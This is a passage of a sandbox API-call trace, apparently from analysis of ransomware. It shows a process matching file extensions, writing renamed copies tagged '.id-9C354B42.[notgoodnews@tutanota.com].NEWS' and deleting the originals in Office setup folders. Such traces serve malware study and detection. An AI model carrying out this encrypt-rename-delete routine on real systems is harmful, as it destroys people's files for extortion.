(lpString1=".zip", lpString2=".XML") returned 1 [0054.437] lstrlenW (lpString=".rar") returned 4 [0054.437] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.437] lstrlenW (lpString=".bz2") returned 4 [0054.437] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.437] lstrlenW (lpString=".7z") returned 3 [0054.437] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.437] lstrlenW (lpString=".dbf") returned 4 [0054.437] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.438] lstrlenW (lpString=".1cd") returned 4 [0054.438] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.438] lstrlenW (lpString=".jpg") returned 4 [0054.438] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.438] lstrlenW (lpString=".doc") returned 4 [0054.438] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.438] lstrlenW (lpString=".docx") returned 5 [0054.438] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0054.438] lstrlenW (lpString=".pdf") returned 4 [0054.438] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.438] lstrlenW (lpString=".xls") returned 4 [0054.438] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.438] lstrlenW (lpString=".xlsx") returned 5 [0054.438] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0054.438] lstrlenW (lpString=".ppt") returned 4 [0054.438] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.439] lstrlenW (lpString=".zip") returned 4 [0054.439] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.439] lstrlenW (lpString=".rar") returned 4 [0054.439] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.439] lstrlenW (lpString=".bz2") returned 4 [0054.439] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.439] lstrlenW (lpString=".7z") returned 3 [0054.439] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.439] lstrlenW (lpString=".dbf") returned 4 [0054.439] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.439] lstrlenW (lpString=".1cd") returned 4 [0054.439] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0054.439] lstrlenW (lpString=".jpg") returned 4 [0054.439] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.440] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0054.440] lstrlenW (lpString="SETUP.XML") returned 9 [0054.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.441] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=2624) returned 1 [0054.441] CloseHandle (hObject=0x19c) returned 1 [0054.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0054.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.441] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.441] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0054.442] GetLastError () returned 0x0 [0054.442] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0xa40, lpOverlapped=0x0) returned 1 [0054.487] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0054.490] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.490] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.490] SetEndOfFile (hFile=0x1a4) returned 1 [0054.490] CloseHandle (hObject=0x1a4) returned 1 [0054.492] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.492] SetEndOfFile (hFile=0x19c) returned 1 [0054.494] CloseHandle (hObject=0x19c) returned 1 [0054.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0054.494] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0054.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.495] lstrlenW (lpString=".doc") returned 4 [0054.495] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.495] lstrlenW (lpString=".docx") returned 5 [0054.495] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0054.495] lstrlenW (lpString=".pdf") returned 4 [0054.495] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.495] lstrlenW (lpString=".xls") returned 4 [0054.495] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.495] lstrlenW (lpString=".xlsx") returned 5 [0054.495] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0054.495] lstrlenW (lpString=".ppt") returned 4 [0054.495] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.495] lstrlenW (lpString=".zip") returned 4 [0054.495] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.495] lstrlenW (lpString=".rar") returned 4 [0054.495] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.495] lstrlenW (lpString=".bz2") returned 4 [0054.495] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.495] lstrlenW (lpString=".7z") returned 3 [0054.495] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.496] lstrlenW (lpString=".dbf") returned 4 [0054.496] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.496] lstrlenW (lpString=".1cd") returned 4 [0054.496] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.496] lstrlenW (lpString=".jpg") returned 4 [0054.496] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.496] lstrlenW (lpString=".doc") returned 4 [0054.496] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.496] lstrlenW (lpString=".docx") returned 5 [0054.496] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0054.496] lstrlenW (lpString=".pdf") returned 4 [0054.496] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.496] lstrlenW (lpString=".xls") returned 4 [0054.496] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.496] lstrlenW (lpString=".xlsx") returned 5 [0054.497] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0054.497] lstrlenW (lpString=".ppt") returned 4 [0054.497] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.497] lstrlenW (lpString=".zip") returned 4 [0054.497] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.497] lstrlenW (lpString=".rar") returned 4 [0054.497] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.497] lstrlenW (lpString=".bz2") returned 4 [0054.497] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.497] lstrlenW (lpString=".7z") returned 3 [0054.497] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.497] lstrlenW (lpString=".dbf") returned 4 [0054.497] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.497] lstrlenW (lpString=".1cd") returned 4 [0054.497] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0054.497] lstrlenW (lpString=".jpg") returned 4 [0054.497] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.498] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0054.498] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0054.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.498] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1565) returned 1 [0054.498] CloseHandle (hObject=0x19c) returned 1 [0054.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0054.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0054.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.499] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.499] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0054.500] GetLastError () returned 0x0 [0054.500] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x61d, lpOverlapped=0x0) returned 1 [0054.775] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x620, lpOverlapped=0x0) returned 1 [0054.777] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.777] WriteFile (in: hFile=0x1a4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.777] SetEndOfFile (hFile=0x1a4) returned 1 [0055.177] CloseHandle (hObject=0x1a4) returned 1 [0055.178] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.178] SetEndOfFile (hFile=0x19c) returned 1 [0055.219] CloseHandle (hObject=0x19c) returned 1 [0055.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0055.220] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0055.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.220] lstrlenW (lpString=".doc") returned 4 [0055.220] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.220] lstrlenW (lpString=".docx") returned 5 [0055.221] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0055.221] lstrlenW (lpString=".pdf") returned 4 [0055.221] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.221] lstrlenW (lpString=".xls") returned 4 [0055.221] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.221] lstrlenW (lpString=".xlsx") returned 5 [0055.221] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0055.221] lstrlenW (lpString=".ppt") returned 4 [0055.221] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.221] lstrlenW (lpString=".zip") returned 4 [0055.221] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.221] lstrlenW (lpString=".rar") returned 4 [0055.221] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.221] lstrlenW (lpString=".bz2") returned 4 [0055.221] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.221] lstrlenW (lpString=".7z") returned 3 [0055.221] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.222] lstrlenW (lpString=".dbf") returned 4 [0055.222] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.222] lstrlenW (lpString=".1cd") returned 4 [0055.222] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.222] lstrlenW (lpString=".jpg") returned 4 [0055.222] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.222] lstrlenW (lpString=".doc") returned 4 [0055.222] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.222] lstrlenW (lpString=".docx") returned 5 [0055.222] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0055.223] lstrlenW (lpString=".pdf") returned 4 [0055.223] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.223] lstrlenW (lpString=".xls") returned 4 [0055.223] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.223] lstrlenW (lpString=".xlsx") returned 5 [0055.223] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0055.223] lstrlenW (lpString=".ppt") returned 4 [0055.223] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.223] lstrlenW (lpString=".zip") returned 4 [0055.223] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.224] lstrlenW (lpString=".rar") returned 4 [0055.224] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.224] lstrlenW (lpString=".bz2") returned 4 [0055.224] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.224] lstrlenW (lpString=".7z") returned 3 [0055.224] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.224] lstrlenW (lpString=".dbf") returned 4 [0055.224] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.224] lstrlenW (lpString=".1cd") returned 4 [0055.224] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0055.224] lstrlenW (lpString=".jpg") returned 4 [0055.224] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.225] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0055.225] lstrlenW (lpString="SETUP.XML") returned 9 [0055.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.518] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1452) returned 1 [0056.518] CloseHandle (hObject=0x19c) returned 1 [0056.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0056.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.518] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.518] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0056.519] GetLastError () returned 0x0 [0056.519] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0056.603] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0056.605] ReadFile (in: hFile=0x19c, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.605] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0056.605] SetEndOfFile (hFile=0x1e4) returned 1 [0056.605] CloseHandle (hObject=0x1e4) returned 1 [0056.606] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.606] SetEndOfFile (hFile=0x19c) returned 1 [0056.608] CloseHandle (hObject=0x19c) returned 1 [0056.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0056.608] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0056.609] lstrlenW (lpString="C:\\Program 